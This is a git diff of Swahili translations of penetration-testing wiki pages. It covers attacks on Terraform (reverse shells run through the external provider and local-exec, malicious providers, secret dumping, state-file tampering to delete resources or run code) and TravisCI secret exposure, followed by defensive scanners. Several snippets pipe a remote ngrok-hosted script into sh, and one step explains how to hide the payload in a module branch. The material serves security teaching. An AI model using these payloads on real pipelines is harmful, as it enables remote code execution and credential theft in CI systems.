HashiCorp Terraform ni **chombo cha miundombinu kama msimbo** ambacho kinakuruhusu kufafanua **rasilimali za wingu na za ndani** katika faili za usanidi zinazoweza kusomeka na binadamu ambazo unaweza kuandika, kutumia tena, na kushiriki. Kisha unaweza kutumia mtiririko wa kazi unaofanana ili kuandaa na kusimamia miundombinu yako yote wakati wa mzunguko wake wa maisha. Terraform inaweza kusimamia vipengele vya chini kama vile kompyuta, uhifadhi, na rasilimali za mtandao, pamoja na vipengele vya juu kama vile entries za DNS na vipengele vya SaaS.
|
||||
HashiCorp Terraform ni **chombo cha miundombinu kama msimbo** ambacho kinakuruhusu kufafanua **rasilimali za wingu na za ndani** katika faili za usanidi zinazoweza kusomwa na binadamu ambazo unaweza kuziandika, kuzitumia tena, na kuzishiriki. Kisha unaweza kutumia mtiririko wa kazi unaofanana ili kuandaa na kusimamia miundombinu yako yote wakati wa mzunguko wake wa maisha. Terraform inaweza kusimamia vipengele vya chini kama vile kompyuta, uhifadhi, na rasilimali za mtandao, pamoja na vipengele vya juu kama vile entries za DNS na vipengele vya SaaS.
|
||||
|
||||
#### How does Terraform work?
|
||||
#### Terraform inafanya kazi vipi?
|
||||
|
||||
Terraform inaunda na kusimamia rasilimali kwenye majukwaa ya wingu na huduma nyingine kupitia interfaces zao za programu za maombi (APIs). Watoa huduma wanaruhusu Terraform kufanya kazi na karibu jukwaa au huduma yoyote yenye API inayopatikana.
|
||||
|
||||
.png>)
|
||||
|
||||
HashiCorp na jamii ya Terraform tayari wameandika **zaidi ya watoa huduma 1700** kusimamia maelfu ya aina tofauti za rasilimali na huduma, na nambari hii inaendelea kukua. Unaweza kupata watoa huduma wote wanaopatikana hadharani kwenye [Terraform Registry](https://registry.terraform.io/), ikiwa ni pamoja na Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, na mengine mengi.
|
||||
HashiCorp na jamii ya Terraform tayari wameandika **watoa huduma zaidi ya 1700** kusimamia maelfu ya aina tofauti za rasilimali na huduma, na nambari hii inaendelea kukua. Unaweza kupata watoa huduma wote wanaopatikana hadharani kwenye [Terraform Registry](https://registry.terraform.io/), ikiwa ni pamoja na Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, na mengine mengi.
|
||||
|
||||
Mtiririko wa msingi wa Terraform unajumuisha hatua tatu:
|
||||
|
||||
- **Write:** Unafafanua rasilimali, ambazo zinaweza kuwa kati ya watoa huduma na huduma mbalimbali za wingu. Kwa mfano, unaweza kuunda usanidi wa kupeleka programu kwenye mashine za virtual katika mtandao wa Virtual Private Cloud (VPC) pamoja na vikundi vya usalama na balancer ya mzigo.
|
||||
- **Plan:** Terraform inaunda mpango wa utekelezaji unaofafanua miundombinu itakayoundwa, kusasishwa, au kuharibiwa kulingana na miundombinu iliyopo na usanidi wako.
|
||||
- **Apply:** Kwa idhini, Terraform inatekeleza operesheni zilizopendekezwa kwa mpangilio sahihi, ikiheshimu utegemezi wowote wa rasilimali. Kwa mfano, ikiwa unasasisha mali za VPC na kubadilisha idadi ya mashine za virtual katika VPC hiyo, Terraform itaunda upya VPC kabla ya kupanua mashine za virtual.
|
||||
- **Andika:** Unafafanua rasilimali, ambazo zinaweza kuwa kwenye watoa huduma na huduma nyingi za wingu. Kwa mfano, unaweza kuunda usanidi wa kupeleka programu kwenye mashine za virtual katika mtandao wa Virtual Private Cloud (VPC) pamoja na vikundi vya usalama na balancer ya mzigo.
|
||||
- **Panga:** Terraform inaunda mpango wa utekelezaji unaofafanua miundombinu itakayoundwa, kusasishwa, au kuharibiwa kulingana na miundombinu iliyopo na usanidi wako.
|
||||
- **Tumia:** Kwa idhini, Terraform inatekeleza operesheni zilizopendekezwa kwa mpangilio sahihi, ikiheshimu utegemezi wowote wa rasilimali. Kwa mfano, ikiwa unasasisha mali za VPC na kubadilisha idadi ya mashine za virtual katika VPC hiyo, Terraform itaunda upya VPC kabla ya kupanua mashine za virtual.
|
||||
|
||||
.png>)
|
||||
|
||||
### Terraform Lab
|
||||
### Maabara ya Terraform
|
||||
|
||||
Sakinisha terraform kwenye kompyuta yako.
|
||||
|
||||
Hapa una [mwongozo](https://learn.hashicorp.com/tutorials/terraform/install-cli) na hapa una [njia bora ya kupakua terraform](https://www.terraform.io/downloads).
|
||||
Hapa una [mwongozo](https://learn.hashicorp.com/tutorials/terraform/install-cli) na hapa una njia [bora ya kupakua terraform](https://www.terraform.io/downloads).
|
||||
|
||||
## RCE in Terraform
|
||||
## RCE katika Terraform
|
||||
|
||||
Terraform **haina jukwaa linalofichua ukurasa wa wavuti au huduma ya mtandao** tunaweza kuhesabu, kwa hivyo, njia pekee ya kuathiri terraform ni **kuwa na uwezo wa kuongeza/kubadilisha faili za usanidi za terraform**.
|
||||
Terraform **haina jukwaa linalofichua ukurasa wa wavuti au huduma ya mtandao** tunaweza kuhesabu, kwa hivyo, njia pekee ya kuathiri terraform ni **kuwa na uwezo wa kuongeza/kubadilisha faili za usanidi wa terraform**.
|
||||
|
||||
Hata hivyo, terraform ni **kipengele nyeti sana** kuathiri kwa sababu itakuwa na **ufikiaji wa kijasiri** kwa maeneo tofauti ili iweze kufanya kazi ipasavyo.
|
||||
Hata hivyo, terraform ni **kipengele nyeti sana** kuathiri kwa sababu itakuwa na **ufikiaji wa kipaumbele** kwenye maeneo tofauti ili iweze kufanya kazi ipasavyo.
|
||||
|
||||
Njia kuu kwa mshambuliaji kuwa na uwezo wa kuathiri mfumo ambapo terraform inafanya kazi ni **kuathiri hifadhi inayohifadhi usanidi wa terraform**, kwa sababu kwa wakati fulani wata **fasiriwa**.
|
||||
|
||||
Kwa kweli, kuna suluhisho huko nje ambazo **zinafanya mpango wa terraform/kuomba kiotomatiki baada ya PR** kuundwa, kama **Atlantis**:
|
||||
Kwa kweli, kuna suluhisho huko nje ambazo **zinafanya mpango wa terraform/tumia kiotomatiki baada ya PR** kuundwa, kama **Atlantis**:
|
||||
|
||||
{{#ref}}
|
||||
atlantis-security.md
|
||||
@@ -46,23 +46,23 @@ atlantis-security.md
|
||||
|
||||
Ikiwa una uwezo wa kuathiri faili ya terraform kuna njia tofauti unaweza kufanya RCE wakati mtu anatekeleza `terraform plan` au `terraform apply`.
|
||||
|
||||
### Terraform plan
|
||||
### Mpango wa Terraform
|
||||
|
||||
Terraform plan ni **amri inayotumika zaidi** katika terraform na waendelezaji/misitu inayotumia terraform huipigia simu kila wakati, hivyo **njia rahisi ya kupata RCE** ni kuhakikisha unachafua faili ya usanidi wa terraform ambayo itatekeleza amri zisizo za kawaida katika `terraform plan`.
|
||||
Mpango wa Terraform ni **amri inayotumika zaidi** katika terraform na waendelezaji/mifumo inayotumia terraform huipigia simu kila wakati, hivyo **njia rahisi ya kupata RCE** ni kuhakikisha unachafua faili ya usanidi wa terraform ambayo itatekeleza amri zisizo za kawaida katika `terraform plan`.
|
||||
|
||||
**Using an external provider**
|
||||
**Kutumia mtoa huduma wa nje**
|
||||
|
||||
Terraform inatoa [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) ambayo inatoa njia ya kuunganishwa kati ya Terraform na programu za nje. Unaweza kutumia chanzo cha data `external` kuendesha msimbo wowote wakati wa `plan`.
|
||||
|
||||
Kuingiza katika faili ya usanidi wa terraform kitu kama ifuatavyo kitatekeleza shell ya rev wakati wa kutekeleza `terraform plan`:
|
||||
Kuingiza katika faili ya usanidi wa terraform kitu kama ifuatavyo kutaendesha shell ya rev wakati wa kutekeleza `terraform plan`:
|
||||
```javascript
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
}
|
||||
```
|
||||
**Kutumia mtoa huduma maalum**
|
||||
**Kutumia mtoa huduma wa kawaida**
|
||||
|
||||
Mshambuliaji anaweza kutuma [mtoa huduma maalum](https://learn.hashicorp.com/tutorials/terraform/provider-setup) kwenye [Terraform Registry](https://registry.terraform.io/) na kisha kuiongeza kwenye msimbo wa Terraform katika tawi la kipengele ([mfano kutoka hapa](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
Mshambuliaji anaweza kutuma [mtoa huduma wa kawaida](https://learn.hashicorp.com/tutorials/terraform/provider-setup) kwenye [Terraform Registry](https://registry.terraform.io/) na kisha kuiongeza kwenye msimbo wa Terraform katika tawi la kipengele ([mfano kutoka hapa](https://alex.kaskaso.li/post/terraform-plan-rce)):
|
||||
```javascript
|
||||
terraform {
|
||||
required_providers {
|
||||
@@ -75,7 +75,7 @@ version = "1.0"
|
||||
|
||||
provider "evil" {}
|
||||
```
|
||||
Mtoa huduma hupakuliwa katika `init` na utaendesha msimbo mbaya wakati `plan` inatekelezwa
|
||||
Mtoa huduma anapakuliwa katika `init` na atatekeleza msimbo mbaya wakati `plan` inatekelezwa.
|
||||
|
||||
Unaweza kupata mfano katika [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
|
||||
@@ -83,20 +83,20 @@ Unaweza kupata mfano katika [https://github.com/rung/terraform-provider-cmdexec]
|
||||
|
||||
Chaguzi zote zilizotajwa ni muhimu lakini si za siri sana (ya pili ni ya siri zaidi lakini ngumu zaidi kuliko ya kwanza). Unaweza kufanya shambulio hili hata kwa njia **ya siri zaidi**, kwa kufuata mapendekezo haya:
|
||||
|
||||
- Badala ya kuongeza rev shell moja kwa moja kwenye faili ya terraform, unaweza **kupakia rasilimali ya nje** ambayo ina rev shell:
|
||||
- Badala ya kuongeza rev shell moja kwa moja kwenye faili la terraform, unaweza **kupakia rasilimali ya nje** ambayo ina rev shell:
|
||||
```javascript
|
||||
module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
Unaweza kupata msimbo wa rev shell katika [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- Katika rasilimali ya nje, tumia kipengele cha **ref** kuficha **kodi ya terraform rev shell katika tawi** ndani ya repo, kitu kama: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- Katika rasilimali ya nje, tumia kipengele cha **ref** kuficha **msimbo wa terraform rev shell katika tawi** ndani ya repo, kitu kama: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
|
||||
### Terraform Apply
|
||||
|
||||
Terraform apply itatekelezwa ili kutekeleza mabadiliko yote, unaweza pia kuitumia vibaya kupata RCE kwa kuingiza **faili ya Terraform yenye** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Unahitaji tu kuhakikisha kuwa payload fulani kama ifuatavyo inamalizika katika faili ya `main.tf`:
|
||||
Unahitaji tu kuhakikisha kuwa payload kama ifuatavyo inamalizika katika faili ya `main.tf`:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
@@ -112,27 +112,27 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**.
|
||||
Fuata **mapendekezo kutoka kwa mbinu ya awali** ili kufanikisha shambulio hili kwa **njia ya siri zaidi kwa kutumia marejeleo ya nje**.
|
||||
|
||||
## Secrets Dumps
|
||||
## Mifuko ya Siri
|
||||
|
||||
You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like:
|
||||
Unaweza kuwa na **thamani za siri zinazotumiwa na terraform zikiwa zimeandikwa** ukikimbia `terraform apply` kwa kuongeza kwenye faili ya terraform kitu kama:
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
## Abusing Terraform State Files
|
||||
## Kutumia Faili za Hali za Terraform
|
||||
|
||||
Katika hali ambapo una ufikiaji wa kuandika kwenye faili za hali za terraform lakini huwezi kubadilisha msimbo wa terraform, [**utafiti huu**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) unatoa chaguzi za kuvutia za kunufaika na faili hiyo:
|
||||
Ikiwa una ufikiaji wa kuandika juu ya faili za hali za terraform lakini huwezi kubadilisha msimbo wa terraform, [**utafiti huu**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) unatoa chaguzi za kuvutia za kunufaika na faili hiyo:
|
||||
|
||||
### Deleting resources <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
### Kuondoa rasilimali <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
|
||||
Kuna njia 2 za kuharibu rasilimali:
|
||||
|
||||
1. **Weka rasilimali yenye jina la nasibu kwenye faili la hali ikielekeza kwenye rasilimali halisi ya kuharibu**
|
||||
1. **Ingiza rasilimali yenye jina la nasibu kwenye faili la hali ikielekeza kwenye rasilimali halisi ya kuondoa**
|
||||
|
||||
Kwa sababu terraform itaona kwamba rasilimali hiyo haipaswi kuwepo, itaiharibu (ikifuatilia kitambulisho halisi cha rasilimali kilichotajwa). Mfano kutoka ukurasa wa awali:
|
||||
Kwa sababu terraform itaona kwamba rasilimali hiyo haipaswi kuwepo, itaiondoa (ikifuatilia kitambulisho halisi cha rasilimali kilichotajwa). Mfano kutoka ukurasa wa awali:
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
@@ -150,11 +150,11 @@ Kwa sababu terraform itaona kwamba rasilimali hiyo haipaswi kuwepo, itaiharibu (
|
||||
```
|
||||
2. **Badilisha rasilimali ili kufuta kwa njia ambayo haiwezekani kuisasisha (hivyo itafutwa na kuundwa upya)**
|
||||
|
||||
Kwa mfano la EC2, kubadilisha aina ya mfano ni ya kutosha kufanya terraform ifute na kuunda upya.
|
||||
Kwa mfano wa EC2, kubadilisha aina ya mfano ni ya kutosha kufanya terraform ifute na kuunda upya.
|
||||
|
||||
### RCE
|
||||
|
||||
Pia inawezekana [kuunda mtoa huduma maalum](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) na kubadilisha tu mmoja wa watoa huduma katika faili ya hali ya terraform kwa yule mbaya au kuongeza rasilimali tupu na mtoa huduma mbaya. Mfano kutoka kwa utafiti wa awali:
|
||||
Pia inawezekana [kuunda mtoa huduma maalum](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) na kubadilisha tu mmoja wa watoa huduma katika faili ya hali ya terraform kwa yule mbaya au kuongeza rasilimali tupu na mtoa huduma mbaya. Mfano kutoka utafiti wa awali:
|
||||
```json
|
||||
"resources": [
|
||||
{
|
||||
@@ -167,9 +167,9 @@ Pia inawezekana [kuunda mtoa huduma maalum](https://developer.hashicorp.com/terr
|
||||
]
|
||||
},
|
||||
```
|
||||
### Replace blacklisted provider
|
||||
### Badilisha mtoa huduma aliyeorodheshwa
|
||||
|
||||
Katika hali unayokutana nayo ambapo `hashicorp/external` imewekwa kwenye orodha ya mablacklist, unaweza kuitekeleza tena `external` provider kwa kufanya yafuatayo. Kumbuka: Tunatumia fork ya external provider iliyochapishwa na https://registry.terraform.io/providers/nazarewk/external/latest. Unaweza kuchapisha fork yako mwenyewe au utekelezaji tena pia.
|
||||
Ikiwa unakutana na hali ambapo `hashicorp/external` imeorodheshwa, unaweza kuanzisha upya mtoa huduma `external` kwa kufanya yafuatayo. Kumbuka: Tunatumia fork ya mtoa huduma wa external iliyochapishwa na https://registry.terraform.io/providers/nazarewk/external/latest. Unaweza kuchapisha fork yako mwenyewe au utekelezaji wa upya pia.
|
||||
```terraform
|
||||
terraform {
|
||||
required_providers {
|
||||
@@ -180,7 +180,7 @@ version = "3.0.0"
|
||||
}
|
||||
}
|
||||
```
|
||||
Kisha unaweza kutumia `external` kama kawaida.
|
||||
Basi unaweza kutumia `external` kama kawaida.
|
||||
```terraform
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "whoami"]
|
||||
@@ -190,12 +190,12 @@ program = ["sh", "-c", "whoami"]
|
||||
|
||||
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
|
||||
Snyk inatoa suluhisho kamili la skanning ya Infrastructure as Code (IaC) linalogundua udhaifu na mipangilio isiyo sahihi katika Terraform, CloudFormation, Kubernetes, na mifumo mingine ya IaC.
|
||||
Snyk inatoa suluhisho kamili la skanning ya Infrastructure as Code (IaC) linalogundua udhaifu na mipangilio isiyo sahihi katika Terraform, CloudFormation, Kubernetes, na fomati nyingine za IaC.
|
||||
|
||||
- **Vipengele:**
|
||||
- Skanning ya wakati halisi kwa ajili ya udhaifu wa usalama na masuala ya ufuatiliaji.
|
||||
- Uunganisho na mifumo ya udhibiti wa toleo (GitHub, GitLab, Bitbucket).
|
||||
- Maombi ya kurekebisha yaliyotolewa kiotomatiki.
|
||||
- Skanning ya wakati halisi kwa ajili ya udhaifu wa usalama na masuala ya kufuata sheria.
|
||||
- Uunganisho na mifumo ya kudhibiti toleo (GitHub, GitLab, Bitbucket).
|
||||
- Maombi ya kurekebisha otomatiki.
|
||||
- Ushauri wa kina wa kurekebisha.
|
||||
- **Jisajili:** Unda akaunti kwenye [Snyk](https://snyk.io/).
|
||||
```bash
|
||||
@@ -210,7 +210,7 @@ snyk iac test /path/to/terraform/code
|
||||
|
||||
Inachanganua miundombinu ya wingu iliyotolewa kwa kutumia [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), au [OpenTofu](https://opentofu.org/) na kugundua usalama na makosa ya kufuata sheria kwa kutumia uchambuzi wa msingi wa grafu.
|
||||
|
||||
Inafanya [Uchambuzi wa Muundo wa Programu (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) ambayo ni uchambuzi wa pakiti za chanzo wazi na picha kwa ajili ya Uthibitisho wa Hatari na Ufunuo wa Pamoja (CVEs).
|
||||
Inafanya [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) ambayo ni uchambuzi wa pakiti za chanzo wazi na picha kwa ajili ya Uthibitisho wa Uthibitisho wa Pamoja (CVEs).
|
||||
```bash
|
||||
pip install checkov
|
||||
checkov -d /path/to/folder
|
||||
@@ -223,7 +223,7 @@ From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-com
|
||||
- **behaviour driven development:** Tuna BDD kwa karibu kila kitu, kwa nini isiwe kwa IaC?
|
||||
- **portable:** sakinisha tu kutoka `pip` au uendeshe kupitia `docker`. Tazama [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **pre-deploy:** inathibitisha msimbo wako kabla ya kupelekwa
|
||||
- **easy to integrate:** inaweza kukimbia katika mchakato wako (au katika git hooks) ili kuhakikisha kwamba mawasilisho yote yamehakikishwa.
|
||||
- **easy to integrate:** inaweza kukimbia katika mchakato wako (au katika git hooks) ili kuhakikisha kwamba uhamasishaji wote umethibitishwa.
|
||||
- **segregation of duty:** unaweza kuweka majaribio yako katika hazina tofauti ambapo timu tofauti inawajibika.
|
||||
|
||||
> [!NOTE]
|
||||
@@ -235,39 +235,39 @@ terraform-compliance -f /path/to/folder
|
||||
```
|
||||
### [tfsec](https://github.com/aquasecurity/tfsec)
|
||||
|
||||
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec inatumia uchambuzi wa statiki wa msimbo wako wa terraform ili kugundua uwezekano wa makosa ya usanidi.
|
||||
Kutoka kwenye [**docs**](https://github.com/aquasecurity/tfsec): tfsec inatumia uchambuzi wa statiki wa msimbo wako wa terraform ili kugundua uwezekano wa makosa ya usanidi.
|
||||
|
||||
- ☁️ Inakagua makosa ya usanidi katika watoa huduma wote wakuu (na wengine wadogo)
|
||||
- ⛔ Mamia ya sheria zilizojengwa ndani
|
||||
- 🪆 Inachunguza moduli (za ndani na za mbali)
|
||||
- 🪆 Inachanganua moduli (za ndani na za mbali)
|
||||
- ➕ Inakadiria maelezo ya HCL pamoja na thamani halisi
|
||||
- ↪️ Inakadiria kazi za Terraform mfano `concat()`
|
||||
- 🔗 Inakadiria uhusiano kati ya rasilimali za Terraform
|
||||
- 🧰 Inafaa na Terraform CDK
|
||||
- 🙅 Inatumia (na kuimarisha) sera za Rego zilizofafanuliwa na mtumiaji
|
||||
- 📃 Inasaidia muundo mbalimbali wa matokeo: nzuri (ya default), JSON, SARIF, CSV, CheckStyle, JUnit, maandiko, Gif.
|
||||
- 📃 Inasaidia muundo mbalimbali wa matokeo: nzuri (ya kawaida), JSON, SARIF, CSV, CheckStyle, JUnit, maandiko, Gif.
|
||||
- 🛠️ Inaweza kubadilishwa (kupitia bendera za CLI na/au faili ya usanidi)
|
||||
- ⚡ Haraka sana, ina uwezo wa kuchunguza haraka hifadhi kubwa
|
||||
- ⚡ Haraka sana, ina uwezo wa kuchanganua haraka hifadhi kubwa
|
||||
```bash
|
||||
brew install tfsec
|
||||
tfsec /path/to/folder
|
||||
```
|
||||
### [KICKS](https://github.com/Checkmarx/kics)
|
||||
|
||||
Pata udhaifu wa usalama, masuala ya ulinganifu, na makosa ya usanidi wa miundombinu mapema katika mzunguko wa maendeleo wa miundombinu yako kama msimbo kwa kutumia **KICS** kutoka Checkmarx.
|
||||
Pata udhaifu wa usalama, masuala ya ufuatiliaji, na makosa ya miundombinu mapema katika mzunguko wa maendeleo wa miundombinu yako kama msimbo kwa kutumia **KICS** kutoka Checkmarx.
|
||||
|
||||
**KICS** inasimama kwa **K**uendelea **I**miundombinu kama **C**ode **S**alama, ni chanzo wazi na ni lazima kuwa nacho kwa mradi wowote wa wingu asilia.
|
||||
**KICS** inasimama kwa **K**uhifadhi **I**miundombinu kama **C**ode **S**alama, ni chanzo wazi na ni lazima kuwa nacho kwa mradi wowote wa wingu asilia.
|
||||
```bash
|
||||
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
```
|
||||
### [Terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
Kutoka kwa [**docs**](https://github.com/tenable/terrascan): Terrascan ni mchambuzi wa msimbo wa statiki kwa Miundombinu kama Msimbo. Terrascan inakuwezesha:
|
||||
Kutoka kwenye [**docs**](https://github.com/tenable/terrascan): Terrascan ni mchambuzi wa msimbo wa statiki kwa Miundombinu kama Msimbo. Terrascan inakuwezesha:
|
||||
|
||||
- Kuchunguza miundombinu kama msimbo kwa makosa ya usanidi bila shida.
|
||||
- Kufuatilia miundombinu ya wingu iliyotolewa kwa mabadiliko ya usanidi yanayoleta mabadiliko ya hali, na inaruhusu kurudi kwenye hali salama.
|
||||
- Kugundua udhaifu wa usalama na ukiukaji wa kufuata.
|
||||
- Kupunguza hatari kabla ya kutoa miundombinu asilia ya wingu.
|
||||
- Kugundua udhaifu wa usalama na ukiukaji wa kufuata sheria.
|
||||
- Kupunguza hatari kabla ya kutoa miundombinu ya asili ya wingu.
|
||||
- Inatoa kubadilika kukimbia kwa ndani au kuungana na CI\CD yako.
|
||||
```bash
|
||||
brew install terrascan
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Github PRs zinakaribishwa zikielezea jinsi ya (kutumia vibaya) hizo platforms kutoka kwa mtazamo wa mshambuliaji
|
||||
Github PRs zinakaribishwa zikielezea jinsi ya (kutumia vibaya) majukwaa hayo kutoka kwa mtazamo wa mshambuliaji
|
||||
|
||||
- Drone
|
||||
- TeamCity
|
||||
|
||||
@@ -1,63 +1,63 @@
|
||||
# TravisCI Security
|
||||
# TravisCI Usalama
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is TravisCI
|
||||
## Nini maana ya TravisCI
|
||||
|
||||
**Travis CI** ni huduma ya **kuendelea kuunganisha** iliyohifadhiwa au kwenye **premises** inayotumika kujenga na kujaribu miradi ya programu iliyohifadhiwa kwenye **jukwaa tofauti za git**.
|
||||
**Travis CI** ni huduma ya **kuendelea kuunganisha** inayoweza kuwa **imehifadhiwa** au kwenye **premises** inayotumika kujenga na kujaribu miradi ya programu iliyohifadhiwa kwenye **jukwaa tofauti la git**.
|
||||
|
||||
{{#ref}}
|
||||
basic-travisci-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Attacks
|
||||
## Mashambulizi
|
||||
|
||||
### Triggers
|
||||
### Vichocheo
|
||||
|
||||
Ili kuanzisha shambulio, kwanza unahitaji kujua jinsi ya kuanzisha ujenzi. Kwa kawaida, TravisCI itafanya **kuanzisha ujenzi kwenye push na pull requests**:
|
||||
Ili kuanzisha shambulizi, kwanza unahitaji kujua jinsi ya kuanzisha ujenzi. Kwa kawaida, TravisCI itafanya **kuanzisha ujenzi kwenye push na ombi la kuvuta**:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Cron Jobs
|
||||
#### Kazi za Cron
|
||||
|
||||
Ikiwa una ufikiaji wa programu ya wavuti, unaweza **kweka crons kuendesha ujenzi**, hii inaweza kuwa muhimu kwa kudumu au kuanzisha ujenzi:
|
||||
Ikiwa una ufikiaji wa programu ya wavuti, unaweza **kweka kazi za cron kuendesha ujenzi**, hii inaweza kuwa muhimu kwa kudumu au kuanzisha ujenzi:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> Inaonekana haiwezekani kuweka crons ndani ya `.travis.yml` kulingana na [hii](https://github.com/travis-ci/travis-ci/issues/9162).
|
||||
> Inaonekana haiwezekani kuweka kazi za cron ndani ya `.travis.yml` kulingana na [hii](https://github.com/travis-ci/travis-ci/issues/9162).
|
||||
|
||||
### Third Party PR
|
||||
### PR za Watu wa Tatu
|
||||
|
||||
TravisCI kwa kawaida inazima kushiriki mabadiliko ya mazingira na PRs zinazotoka kwa wahusika wengine, lakini mtu anaweza kuweza kuziwasha na kisha unaweza kuunda PRs kwa repo na kuhamasisha siri:
|
||||
TravisCI kwa kawaida inazima kushiriki mabadiliko ya mazingira na PR zinazotoka kwa watu wa tatu, lakini mtu anaweza kuziwezesha na kisha unaweza kuunda PR kwa repo na kuhamasisha siri:
|
||||
|
||||
.png>)
|
||||
|
||||
### Dumping Secrets
|
||||
### Kutupa Siri
|
||||
|
||||
Kama ilivyoelezwa kwenye ukurasa wa [**basic information**](basic-travisci-information.md), kuna aina 2 za siri. **Siri za Mabadiliko ya Mazingira** (ambazo ziko kwenye ukurasa wa wavuti) na **siri za kawaida zilizofichwa**, ambazo zimehifadhiwa ndani ya faili ya `.travis.yml` kama base64 (kumbuka kwamba zote zikiwa zimehifadhiwa kwa siri zitakuwa kama mabadiliko ya mazingira kwenye mashine za mwisho).
|
||||
Kama ilivyoelezwa kwenye ukurasa wa [**taarifa za msingi**](basic-travisci-information.md), kuna aina 2 za siri. **Siri za Mabadiliko ya Mazingira** (ambazo ziko kwenye ukurasa wa wavuti) na **siri za siri zilizowekwa**, ambazo zimehifadhiwa ndani ya faili ya `.travis.yml` kama base64 (kumbuka kwamba zote zikiwa zimehifadhiwa kwa siri zitakuwa kama mabadiliko ya mazingira kwenye mashine za mwisho).
|
||||
|
||||
- Ili **kuhesabu siri** zilizowekwa kama **Mabadiliko ya Mazingira**, nenda kwenye **mipangilio** ya **mradi** na angalia orodha. Hata hivyo, kumbuka kwamba mabadiliko yote ya mazingira ya mradi yaliyowekwa hapa yataonekana unapofanya ujenzi.
|
||||
- Ili kuhesabu **siri za kawaida zilizofichwa**, bora unachoweza kufanya ni **kuangalia faili ya `.travis.yml`**.
|
||||
- Ili **kuhesabu faili zilizofichwa**, unaweza kuangalia kwa **faili za `.enc`** kwenye repo, kwa mistari inayofanana na `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` kwenye faili ya usanidi, au kwa **iv na funguo zilizofichwa** katika **Mabadiliko ya Mazingira** kama:
|
||||
- Ili kuhesabu **siri za siri zilizowekwa**, bora unachoweza kufanya ni **kuangalia faili ya `.travis.yml`**.
|
||||
